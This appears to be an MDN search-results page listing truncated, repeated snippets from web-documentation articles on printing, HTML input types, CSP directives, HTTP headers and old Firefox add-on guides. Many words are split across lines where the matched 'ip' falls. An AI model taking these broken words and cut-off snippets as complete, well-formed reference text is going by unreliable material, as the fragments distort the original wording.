ance the appearance of your content on paper. you wish to use higher resolution images for a better result. you want to adjust the user experience of printing, such as presenting a specially-formatted version of your content before printing begins. there may be other cases in which you want to manage the printing process, but these are some of the most common scenarios. this article provides t
ips and techniques for helping your web content print better. using a print style sheet add the following to your <head> tag. <link href="/path/to/print.css" media="print" rel="stylesheet" /> using media queries to improve layout detecting print requests some browsers (including firefox 6 and later and internet explorer) send beforeprint and afterprint events to let content determine when pri...
...xamples here are some common examples. ...
... open and automatically close a popup window when finished if you want to be able to automatically close a popup window (for example, the printer-friendly version of a document) after the user prints its contents, you can use code like this: <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>javascr
ipt window close example </title> <scr
ipt type="text/javascr
ipt"> function popuponclick() { my_window = window.open('', 'mywindow', 'status=1,width=350,height=150'); my_window.document.write('<html><head><title>print me</title></head>'); my_window.document.write('<body onafterprint="self.close()">'); my_window.document.write('<p>when you print this window, it will close afterward.</p>'); my_window.docum...
...And 4 more matches
<input type="month"> - HTML: Hypertext Markup Language
is that the displayed date format differs from the actual value; most user agents display the month and year in a locale-appropriate form, based on the set locale of the user's operating system, whereas the date value is always formatted yyyy-mm. when the above value is submitted to the server, for example, it will look like bday-month=1978-06. ...
...ample: <label for="bday-month">what month were you born in?</label> <input id="bday-month" type="month" name="bday-month" value="2017-06"> var monthcontrol = document.queryselector('input[type="month"]'); monthcontrol.value = '1978-06'; additional attributes in addition to the attributes common to <input> elements, month inputs offer the following attributes: attribute descr
iption list the id of the <datalist> element that contains the optional pre-defined autocomplete options max the latest year and month to accept as a valid input min the earliest year and month to accept as a valid input readonly a boolean which, if present, indicates that the input's value can't be edited step a stepping interval to us...
...fails constraint validation. if a value is specified for min that isn't a valid year and month string, the input has no minimum value. this value must be a year-month pairing which is earlier than or equal to the one specified by the max attribute. readonly a boolean attribute which, if present, means this field cannot be edited by the user. its value can, however, still be changed from javascr
ipt code that directly sets the value of the htmlinputelement.value property. note: because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. step the step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. only values which are equal ...
...And 4 more matches
<input type="password"> - HTML: Hypertext Markup Language
n empty string to be valid. if the pattern attribute is specified, the content of a password control is only considered valid if the value passes validation; see validation for more information. note: the line feed (u+000a) and carriage return (u+000d) characters are not permitted in a password value. ...
... and carriage return (u+000d) characters are not permitted in a password value. when setting the value of a password control, line feed and carriage return characters are str
ipped out of the value. ...
...an invalid value is specified, the password input has no minimum length. the input will fail constraint validation if the length of the text entered into the field is fewer than minlength utf-16 code units long. pattern the pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. it must be a valid javascr
ipt regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular express...
...And 4 more matches
<input type="text"> - HTML: Hypertext Markup Language
ommon attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value methods select(), setrangetext() and setselectionrange(). value the value attribute is a domstring that contains the current value of the text entered into the text field. ...
...is using the value property in javascr
ipt. let thetext = mytextinput.value; if no validation constraints are in place for the input (see validation for more details), the value may be an empty string (""). ...
...input will fail constraint validation if the length of the text entered into the field is fewer than minlength utf-16 code units long. constraint validation is only applied when the value is changed by the user. pattern the pattern attribute, when specified, is a regular expression that the input's value must match in order for the value to pass constraint validation. it must be a valid javascr
ipt regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular express...
...And 4 more matches
<input type="week"> - HTML: Hypertext Markup Language
?</label> <input id="week" type="week" name="week" value="2017-w01"> one thing to note is that the displayed format may differ from the actual value, which is always formatted yyyy-www. when the above value is submitted to the server, for example, browsers may display it as week 01, 2017, but the submitted value will always look like week=2017-w01. ...
... value will always look like week=2017-w01. ...
... value of the element is less than this, the element fails constraint validation. if a value is specified for min that isn't a valid week string, the input has no minimum value. this value must be less than or equal to the value of the max attribute. readonly a boolean attribute which, if present, means this field cannot be edited by the user. its value can, however, still be changed by javascr
ipt code directly setting the htmlinputelement.value property. note: because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. step the step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. only values which are equal to the basis fo...
...And 4 more matches
Standard metadata names - HTML: Hypertext Markup Language
on-name: the name of the application running in the web page. note: browsers may use this to identify the application. it is different from the <title> element, which usually contain the application name, but may also contain information like the document name or a status. simple web pages shouldn't define an application-name. author: the name of the document's author. descr
iption: a short and accurate summary of the content of the page. several browsers, like firefox and opera, use this as the default descr
iption of bookmarked pages. generator: the identifier of the software that generated the page. keywords: words relevant to the page's content separated by commas. referrer: controls the http referer header for to requests sent from the document: values for ...
... do not send a http referer header. origin send the origin of the document. no-referrer-when-downgrade send the full url when the destination is at least as secure as the current page (http(s)->https), but send no referrer when it's less secure (https->http). this is the default behaviour. origin-when-cross-origin send the full url (str
ipped of parameters) for same-origin requests, but only send the origin for other cases. same-origin send the full url (str
ipped of parameters) for same-origin requests. cross-origin requests will contain no referrer header. strict-origin send the origin when the destination is at least as secure as the current page (http(s)->https), but send no referrer when ...
...-origin send the full url (str
ipped of parameters) for same-origin requests. cross-origin requests will contain no referrer header. strict-origin send the origin when the destination is at least as secure as the current page (http(s)->https), but send no referrer when it's less secure (https->http). strict-origin-when-cross-origin send the full url (str
ipped of parameters) for same-origin requests. send the origin when the destination is at least as secure as the current page (http(s)->https). otherwise, send no referrer. unsafe-url send the full url (str
ipped of parameters) for same-origin or cross-origin requests. notes: dynamically inserting <meta name="referrer"> (with document.write() or appendchild()...
...And 4 more matches
CSP: base-uri - HTTP
the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
...le.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<base64-value>'...
...And 4 more matches
CSP: img-src - HTTP
ch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the img-src policy: content-security-policy: img-src <source>; content-security-policy: img-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source. examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
...le.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...exclude blob and filesystem from source directives. sites needing to allow these content types can specify them using the data attribute. 'unsafe-eval' allows the use of eval() and similar methods for creating code from strings. you must include the single quotes. 'unsafe-hashes' allows enabling specific inline event handlers. if you only need to allow inline event handlers and not inline <scr
ipt> elements or javascr
ipt: urls, this is a safer method than using the unsafe-inline expression. 'unsafe-inline' allows the use of inline resources, such as inline <scr
ipt> elements, javascr
ipt: urls, inline event handlers, and inline <style> elements. the single quotes are required. 'none' refers to the empty set; that is, no urls match. the single quotes are required. 'nonce-<base64-value>'...
...And 4 more matches
CSP: require-sri-for - HTTP
the http content-security-policy require-sri-for directive instructs the client to require the use of subresource integrity for scr
ipts or styles on the page. syntax content-security-policy: require-sri-for scr
ipt; content-security-policy: require-sri-for style; content-security-policy: require-sri-for scr
ipt style; scr
ipt requires sri for scr
ipts. style requires sri for style sheets. scr
ipt style requires sri for both, scr
ipts and style sheets. ...
...tegrity for scr
ipts or styles on the page. syntax content-security-policy: require-sri-for scr
ipt; content-security-policy: require-sri-for style; content-security-policy: require-sri-for scr
ipt style; scr
ipt requires sri for scr
ipts. style requires sri for style sheets. scr
ipt style requires sri for both, scr
ipts and style sheets. examples if you set your site to require sri for scr
ipt and styles using this directive: content-security-policy: require-sri-for scr
ipt style <scr
ipt> elements like the following will be loaded as they use a valid integrity attribute. ...
...cr
ipt style; scr
ipt requires sri for scr
ipts. style requires sri for style sheets. scr
ipt style requires sri for both, scr
ipts and style sheets. examples if you set your site to require sri for scr
ipt and styles using this directive: content-security-policy: require-sri-for scr
ipt style <scr
ipt> elements like the following will be loaded as they use a valid integrity attribute. ...
...And 4 more matches
Content-Type - HTTP
eader name no cors-safelisted response header yes cors-safelisted request header yes, with the additional restriction that values can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x08 (tab)), "():<>?@[\]{}, and 0x7f (delete). ...
... yes, with the additional restriction that values can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x08 (tab)), "():<>?@[\]{}, and 0x7f (delete). it also needs to have a mime type of its parsed value (ignoring parameters) of either application/x-www-form-urlencoded, mult
ipart/form-data, or text/plain. syntax content-type: text/html; charset=utf-8 content-type: mult
ipart/form-data; boundary=something directives media-type the mime type of the resource or the data. charset the character encoding standard. boundary for mult
ipart entities the boundary directive is required, which consists of 1 to 70 characters from a set of characters known to be very robust through email gateways, and not ending with white space. it is used to encapsulate the boundarie...
...; boundary=something directives media-type the mime type of the resource or the data. charset the character encoding standard. boundary for mult
ipart entities the boundary directive is required, which consists of 1 to 70 characters from a set of characters known to be very robust through email gateways, and not ending with white space. it is used to encapsulate the boundaries of the mult
iple parts of the message. often, the header boundary is prepended with two dashes and the final boundary has two dashes appended at the end. ...
...And 4 more matches
Firefox user agent string reference - HTTP
firefox/firefoxversion mozilla/5.0 is the general token that says the browser is mozilla compatible, and is common to almost every browser today. platform describes the native platform the browser is running on (e.g. windows, mac, linux or android), and whether or not it's a mobile phone. firefox os phones simply say "mobile"; the web is the platform. note that platform can consist of mult
iple "; "-separated tokens. see below for further details and examples. though fixed in firefox 69, previous 32-bit versions of firefox running on 64-bit processors would report that the system is using a 32-bit cpu. rv:geckoversion indicates the release version of gecko (such as "17.0"). in recent browsers, geckoversion is the same as firefoxversion. gecko/geckotrail indicates that the...
...ased on these. the preferred way to target content to a device form factor is to use css media queries. however, if you use ua sniffing to target content to a device form factor, please look for mobi (to include opera mobile, which uses "mobi") for the phone form factor and do not assume any correlation between "android" and the device form factor. this way, your code will work if/when firefox sh
ips on other phone/tablet operating systems or android is used for laptops. also, please use touch detection to find touch devices rather than looking for "mobi" or "tablet", since there may be touch devices which are not tablets. firefox os devices identify themselves without any operating system indication; for example: "mozilla/5.0 (mobile; rv:15.0) gecko/15.0 firefox/15.0". the web is the platf...
...ecko/40.0 firefox/40.0 android (version 41 and above) beginning in version 41, firefox for android will contain the android version as part of the platform token. for increased interoperability, if the browser is running on a version below 4 it will report 4.4. android versions 4 and above will report the version accurately. note that the same gecko--with the same capabilities--is sh
ipped to all versions of android. form factor gecko user agent string phone mozilla/5.0 (android 4.4; mobile; rv:41.0) gecko/41.0 firefox/41.0 tablet mozilla/5.0 (android 4.4; tablet; rv:41.0) gecko/41.0 firefox/41.0 focus for android from version 1, focus is powered by android webview and uses the following user agent string format: mozilla/5.0 (lin...
...And 4 more matches
HTTP headers - HTTP
it. entity headers contain information about the body of the resource, like its content length or mime type. headers can also be grouped according to how proxies handle them: connection keep-alive proxy-authenticate proxy-authorization te trailer transfer-encoding upgrade (see also protocol upgrade mechanism). end-to-end headers these headers must be transmitted to the final rec
ipient of the message: the server for a request, or the client for a response. intermediate proxies must retransmit these headers unmodified and caches must store them. hop-by-hop headers these headers are meaningful only for a single transport-level connection, and must not be retransmitted by proxies or cached. note that only hop-by-hop headers may be set using the connection general header. a...
...ded for the audience, so that it allows a user to differentiate according to the users' own preferred language. content-location indicates an alternate location for the returned data. proxies forwarded contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request. x-forwarded-for identifies the originating
ip addresses of a client connecting to a web server through an http proxy or a load balancer. x-forwarded-host identifies the original host requested that a client used to connect to your proxy or load balancer. x-forwarded-proto identifies the protocol (http or https) that a client used to connect to your proxy or load balancer. via added by proxies, both forward and reverse proxies, and ...
...wise be restricted due to the same-origin policy. see the cross-domain policy file specification for more information. x-powered-by may be set by hosting environments or other frameworks and contains information about them while not providing any usefulness to the application or its visitors. unset this header to avoid exposing potential vulnerabilities. x-xss-protection enables cross-site scr
ipting filtering. http public key pinning (hpkp) http public key pinning has been deprecated and removed in favor of certificate transparency and expect-ct. public-key-pins associates a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates. public-key-pins-report-only sends reports to the report-uri specified in the header ...
...And 4 more matches
Animation performance and frame rate - Web Performance
animation on the web can be done via svg, javascr
ipt, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types. the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate. for animated media, such as video and animated gifs, the main performance concern is file size - downloading the file size fast enough to not negatively impact performance is the greatest issue. code based animations, be it css, svg, <canvas>, webgl or other javascr
ipt animations, can cause performance issues even if the bandwidth footprint is small. these animations can consume cpu and/or cause jank. while performance is sens...
... responsive, but animations can also make a site feel slower and janky if not done correctly. responsive user interfaces have a frame rate of 60 frames per second (fps). while it is not always possible to maintain 60fps, it is important to maintain a high and steady frame rate for all animations. let's take a look at how we can use browser tools to inspect the frame rate. we'll also discuss some t
ips to create and maintain a fast and steady frame rate. the developer tool's frame rate and waterfall charts provide insight into the work the browser is performing to animate code. using these tools you can measure an application's animation frame rate, and diagnose performance bottlenecks if any are found. with css animations you specify a number of keyframes, each of which uses css to define t...
...s you can measure an application's animation frame rate, and diagnose performance bottlenecks if any are found. with css animations you specify a number of keyframes, each of which uses css to define the appearance of the element at a particular stage of the animation. the browser creates the animation as a transition from each keyframe to the next. compared with animating elements using javascr
ipt, css animations can be easier to create. they can also give better performance, as they give the browser more control over when to render frames, and to drop frames if necessary. however, the performance cost of modifying a css property can vary from one property to another. it's commonly accepted that 60 frames per second is the rate at which animations will appear smooth. for a rate of 60 fra...
...And 4 more matches
SVG element reference - SVG: Scalable Vector Graphics
<< svg / svg attribute reference >> svg drawings and images are created using a wide array of elements which are dedicated to the construction, drawing, and layout of vector images and diagrams. here you'll find reference documentation for each of the svg elements. ...
... svg drawings and images are created using a wide array of elements which are dedicated to the construction, drawing, and layout of vector images and diagrams. here you'll find reference documentation for each of the svg elements. ...
...morphology> <feoffset> <fepointlight> <fespecularlighting> <fespotlight> <fetile> <feturbulence> <filter> <foreignobject> g <g> h <hatch> <hatchpath> i <image> l <line> <lineargradient> m <marker> <mask> <mesh> <meshgradient> <meshpatch> <meshrow> <metadata> <mpath> p <path> <pattern> <polygon> <polyline> r <radialgradient> <rect> s <scr
ipt> <set> <solidcolor> <stop> <style> <svg> <switch> <symbol> t <text> <textpath> <title> <tspan> u <unknown> <use> v <view> svg elements by category animation elements <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <discard>, <mpath>, <set> basic shapes <circle>, <ell
ipse>, <line>, <polygon>, <polyline>, <rect> container elements <a>, <defs>, <g>...
...And 4 more matches
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
ersion of the svg standard, which is a complete rework of the svg 1.2 draft. version 2 contains a lot of changes regarding the last stable version svg 1.1. those changes are listed below including their support status within mozilla applications. ...
...y for list interfaces implementation status unknown <scr
ipt> element in content model of all elements implementation status unknown initialize(), appenditem(), replaceitem(), and insertitembefore() on list objects making a copy of any list item being inserted that is already in another list implementation status unknown crossorigin attribute for <image> and <scr
ipt> elements not implemented yet (at least for <image>; bug 1240357) rendering model change notes svg root and <foreignobject> not overflow:hidden in ua style sheet implementation status unknown allow overflow: auto; to cl
ip and show scroll bars implementation status unknown allow overflow: scroll; to show scroll bars on <svg> elements ...
... position at (0, 0) implementation status unknown defer keyword removed from preserveaspectratio attribute removed (bug 1280425) added non-scaling-size, non-rotation and fixed-position keywords for vector-effect property not implemented yet (bug 1318208) vector-effect has no effect within 3d rendering context implementation status unknown consider cl
ip and overflow on svg document referenced by <image> implementation status unknown paths change notes b and b path commands implementation status unknown z and z path commands to add path coordinate data to previous command implementation status unknown not render <path>, <polygon> and <polyline> with no data implementation status unkno...
...And 4 more matches
Web security
ad people are out there trying to find ways to steal data. the web security-oriented articles listed here provide information that may help you secure your site and its code from attacks and data theft. content security content security policy (csp) content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross-site scr
ipting (xss) and data injection attacks. these attacks are used for everything from data theft to site defacement to the distribution of malware. connection security transport security layer (tls) the transport layer security (tls) protocol is the standard for enabling two networked applications or devices to exchange information privately and robustly. applications that use tls can choose the...
...ion leakage referer header policy: privacy and security concerns there are privacy and security risks associated with the referer http header. this article describes them and offers advice on mitigating those risks. robots.txt to be written site maps to be written integrity same-origin policy the same-origin policy is a critical security mechanism that restricts how a document or scr
ipt loaded from one origin can interact with a resource from another origin. it helps isolate potentially malicious documents, reducing possible attack vectors. subresource integrity subresource integrity (sri) is a security feature that enables browsers to verify that resources they fetch (for example, from a cdn) are delivered without unexpected man
ipulation. it works by allowing you to provide ...
... network, or by modifying the served page in transit. privacy and the :visited selector before about 2010, the css :visited selector allowed websites to uncover a user's browsing history and figure out what sites the user had visited. to mitigate this problem, browsers have limited the amount of information that can be obtained from visited links. ...
...And 4 more matches
Using custom elements - Web Components
tom elements are created in more detail. autonomous custom elements let's have a look at an example of an autonomous custom element -- <popup-info-box> (see a live example). this takes an image icon and a text string, and embeds the icon into the page. when the icon is focused, it displays the text in a pop up information box to provide further in-context information. ...
...isplays the text in a pop up information box to provide further in-context information. to begin with, the javascr
ipt file defines a class called popupinfo, which extends the generic htmlelement class. class popupinfo extends htmlelement { constructor() { // always call super first in constructor super(); // write element functionality in here ... } } the preceding code sn
ippet contains the constructor() definition for the class, which always starts by calling super() so that the correct prototype chain is established. inside the constructor, we define all the functionality the element will have when an instance of it is instantiated. ...
...tionality in here ... } } the preceding code sn
ippet contains the constructor() definition for the class, which always starts by calling super() so that the correct prototype chain is established. inside the constructor, we define all the functionality the element will have when an instance of it is instantiated. in this case we attach a shadow root to the custom element, use some dom man
ipulation to create the element's internal shadow dom structure -- which is then attached to the shadow root -- and finally attach some css to the shadow root to style it. // create a shadow root this.attachshadow({mode: 'open'}); // sets and returns 'this.shadowroot' // create (nested) span elements const wrapper = document.createelement('span'); wrapper.setattribute('class','wrapper'); const ico...
...And 4 more matches
Reddit Example - Archive of obsolete content
this example uses the action button api, which is only available from firefox 29 onwards. this example add-on creates a panel containing the mobile version of reddit. when the user clicks on the title of a story in the panel, the add-on opens the linked story in a new tab in the main browser window. ...
...example add-on creates a panel containing the mobile version of reddit. when the user clicks on the title of a story in the panel, the add-on opens the linked story in a new tab in the main browser window. to accomplish this the add-on needs to run a content scr
ipt in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target url. the content scr
ipt then needs to send the url to the add-on scr
ipt. ...
... clicks on the title of a story in the panel, the add-on opens the linked story in a new tab in the main browser window. to accomplish this the add-on needs to run a content scr
ipt in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target url. the content scr
ipt then needs to send the url to the add-on scr
ipt. ...
...And 3 more matches
jpm - Archive of obsolete content
cd my-addon jpm init you'll then be asked to supply some information about your add-on: this will be used to create your add-on's package.json file. title name: this defaults to the name of the directory in which you are running jpm init. unless an id field is present in package.json, jpm prepends "@" to name and use the result as the id field in the add-on's install manifest. version descr
iption entry point (which maps to "main" in package.json) author engines (supported applications) license most of these fields have a default, which is shown in brackets after the question. if you just press enter, your add-on gets the default value. once you've supplied a value or accepted the default for these properties, you'll be shown the complete contents of "package.json" and asked to ...
...ry may be specified as a full path or as a path relative to the current directory. jpm run -b /path/to/firefox/nightly see selecting a browser version. --binary-args cmdargs pass extra arguments to firefox. for example, to pass the -jsconsole argument to firefox and launch the browser console, try the following: jpm run --binary-args -jsconsole to pass mult
iple arguments, or arguments containing spaces, quote them: jpm run --binary-args '-url mzl.la -jsconsole' --debug run the add-on debugger attached to the add-on. -o --overload path rather than use the sdk modules built into firefox, use the modules found at path. if -o is specified and path is omitted, jpm looks for the jetpack_root environment variable and use...
...fied as a full path or as a path relative to the current directory. jpm test -b /path/to/firefox/nightly see selecting a browser version. --binary-args cmdargs pass extra arguments to firefox. for example, to pass the -jsconsole argument to firefox, which will launch the browser console, try the following: jpm test --binary-args -jsconsole to pass mult
iple arguments, or arguments containing spaces, quote them: jpm test --binary-args '-url mzl.la -jsconsole' --debug run the add-on debugger attached to the add-on. -f --filter file[:test] only run tests whose filenames match file and optionally match test, both regexps. jpm test --filter base64:btoa the above command only runs tests in files whose name...
...And 3 more matches
Add a Context Menu Item - Archive of obsolete content
u, use the context-menu module. here's an add-on that adds a new context menu item. the item is displayed whenever something in the page is selected. when it's clicked, the selection is sent to the main add-on code, which just logs it: var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscr
ipt: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', onmessage: function (selectiontext) { console.log(selectiontext); } }); try it: run the add-on, load a web page, select some text and right-click. you should see the new item appear: click it, and the selection ...
...he selection is logged to the console (or the shell, if you're running an instance of firefox from the command line): info: elephantine lizard details all this add-on does is to construct a context menu item. you don't need to add it: once you have constructed the item, it is automatically added in the correct context. the constructor in this case takes four options: label, context, contentscr
ipt, and onmessage. label the label is just the string that's displayed. context the context describes the circumstances in which the item should be shown. the context-menu module provides a number of simple built-in contexts, including this selectioncontext(), which means: display the item when something on the page is selected. if these simple contexts aren't enough, you can define more sophi...
...he label is just the string that's displayed. context the context describes the circumstances in which the item should be shown. the context-menu module provides a number of simple built-in contexts, including this selectioncontext(), which means: display the item when something on the page is selected. if these simple contexts aren't enough, you can define more sophisticated contexts using scr
ipts. contentscr
ipt this attaches a scr
ipt to the item. in this case the scr
ipt listens for the user to click on the item, then sends a message to the add-on containing the selected text. onmessage the onmessage property provides a way for the add-on code to respond to messages from the scr
ipt attached to the context menu item. in this case it just logs the selected text. so: the user clicks...
...And 3 more matches
Implementing the widget - Archive of obsolete content
gle button apis, and for a more complex widget try the toolbar or sidebar apis. we want the widget to do two things: on a left-click, the widget should activate or deactivate the annotator. on a right-click, the widget should display a list of all the annotations the user has created. because the widget's click event does not distinguish left and right mouse clicks, we'll use a content scr
ipt to capture the click events and send the corresponding message back to our add-on. the widget will have two icons: one to display when it's active, one to display when it's inactive. so there are three files we'll need to create: the widget's content scr
ipt and its two icons. inside the data subdirectory create another subdirectory widget. we'll keep the widget's files here. this hierarchy is...
...icons: one to display when it's active, one to display when it's inactive. so there are three files we'll need to create: the widget's content scr
ipt and its two icons. inside the data subdirectory create another subdirectory widget. we'll keep the widget's files here. this hierarchy isn't mandatory; you could just keep them all under data. but it seems tidier this way. ...
...'s active, one to display when it's inactive. so there are three files we'll need to create: the widget's content scr
ipt and its two icons. inside the data subdirectory create another subdirectory widget. we'll keep the widget's files here. this hierarchy isn't mandatory; you could just keep them all under data. but it seems tidier this way. ...
...And 3 more matches
Extension Etiquette - Archive of obsolete content
ith building an extension. user interface tools menu items using the tool menu option gives the author the maximum amount of choices. whether the extensions should go at the top, bottom, or somewhere in between on the tools menu, the author always has a choice. ideally, the location would be below the add-ons item, grouped with the other extension-related commands (menuitem:insertafter="javascr
iptconsole,devtoolsseparator"). sub-menus should be used for single extensions needing mult
iple menu items, and a tools menu item should not be created for options and preferences (for options and preferences, see the add-on manager). if possible, create a menu item in the menu where it is most applicable; for instance, a bookmark sharing extension should be called from the bookmarks menu. to mainta...
...the extensions manager. coding practices namespace conflicts there are many namespaces which extensions often must share with other consumers, be they other add-ons, web code, or the browser itself. these often include areas such as: object prototypes, such as string.prototype, which are often extended to add methods to native objects. global variables, such as top-level declarations on scr
ipts loaded into shared windows or web pages. expando properties of shared objects, such as document objects, or dom nodes. ids and class names in html and xul documents, when extensions add elements to web pages or browser windows. chrome: or resource: packages, which are often defined in chrome.manifest files. about: page urls. xpcom contract ids, which are often registered in chrome.manifest...
...rome.manifest files. while these are among the most common examples of namespaces in which conflicts can occur, there are many others. in general, care must be taken whenever defining a name anywhere that other code might do likewise. strategies to avoid such conflicts include: avoid shared namespaces where possible many naming conflicts are best avoided by simply not sharing namespaces. scr
ipts can be loaded into their own globals, such as commonjs modules, javascr
ipt modules, or sandboxes, to avoid most global variable and prototype conflicts. expando properties are best avoided using tools such as weakmaps. prefix names in shared namespaces when shared namespaces can't be avoided, the simplest solution to prevent conflicts is to use a distinct prefix for all of your names. class...
...And 3 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
there are a variety of ways you can install extensions and themes from web pages, including direct linking to the xpi files and using the installtrigger object. extension and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
... there are a variety of ways you can install extensions and themes from web pages, including direct linking to the xpi files and using the installtrigger object. extension and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
... there are a variety of ways you can install extensions and themes from web pages, including direct linking to the xpi files and using the installtrigger object. extension and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
...And 3 more matches
Listening to events in Firefox extensions - Archive of obsolete content
gecko uses events to pass information about interesting things that have occurred along to the parties that may wish to know about them. there are several different categories of events; this article will help you learn about them and direct you to more specific documentation covering each of them. it also provides some use cases that may be of specific interest. types of events there are mult
iple types of events that application and extension authors can use to receive notifications from <xul:browser> and <xul:tabbrowser> elements to hear about changes relating to loads of the content contained within them. simple dom events registering for a dom event is done using with code such as the following: function callback(evt) { // do your processing here. check evt.target for the target ...
... check evt.target for the target of the event. } b.addeventlistener("event", callback, false) where b is the browser or tabbrowser you wish to watch for events from. keep in mind that the events may come from any frame within the browser or, for a tabbrowser, any of the browsers within it. some of the more interesting dom events you may wish to monitor are listed here: event descr
iption domlinkadded dispatched when a new html <link> element is detected in the document. domtitlechanged dispatched when the title of the page changes. domcontentloaded dispatched when the initial dom for the page is completely loaded. load dispatched after the page--including images--has first finished loading. unload dispatched when the...
...ly loaded. load dispatched after the page--including images--has first finished loading. unload dispatched when the user has navigated away from the page. pageshow dispatched when a page is newly displayed. pagehide dispatched when a page is hidden. standard behavior for web pages is: user navigates to a page. ...
...And 3 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
<< previousnext >> adding a new toolbar adding new toolbars to firefox is easy, but adding them the wrong way is very easy as well. toolbars in firefox are very customizable. some users don't like extra toolbars, or they want to rearrange toolbar buttons to their liking, possibly merging mult
iple toolbars in the process. firefox allows all of this by default, and if you don't pay attention to the details we describe here, your toolbar may not be as easy to customize as the rest. the first thing you need to do is add your buttons to the toolbar palette. the toolbarpalette is a collection of all toolbar buttons and toolbar items in firefox, including those added by extensions. to add your buttons, all you need to do is overlay the palette in your main browser overlay. ...
... do is overlay the palette in your main browser overlay. <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chromeclass-toolbar-additional" label="&xulschoolhello.helloworld.label;" toolt
iptext="&xulschoolhello.helloworld.toolt
ip;" oncommand="xulschoolchrome.browseroverlay.dosomething(event);" /> <!-- more buttons here. --> </toolbarpalette> <!-- more overlay stuff. --> </overlay> one detail that is easy to overlook is the fact that the toolbarpalette element is outside of the window element. if you put the toolbarpalette element inside the window element in your ove...
...owseroverlay.dosomething(event);" /> <!-- more buttons here. --> </toolbarpalette> <!-- more overlay stuff. --> </overlay> one detail that is easy to overlook is the fact that the toolbarpalette element is outside of the window element. if you put the toolbarpalette element inside the window element in your overlay, some weird errors will begin to happen. always set the label and toolt
iptext attributes of a toolbarbutton. in the case of a toolbaritem element (discussed later), use the title attribute instead of label. toolt
ips are very important for users that want to know what a button does before clicking it. setting the image for a toolbar button is done with css: #xulschoolhello-hello-world-button { list-style-image: url("chrome://xulschoolhello/skin/hello-world.png"); }...
...And 3 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
function uninstall() {} changing the default search engine this change comes in two parts: 1) installing a new search engine (and removing it when your extension is disabled), and 2) setting it as a default (and restoring the previous default when your extension is uninstalled). adding a new search engine search engines may be added either directly via an api call, or indirectly via an xml descr
iption file. while the former is the simpler method, it does not support complex descr
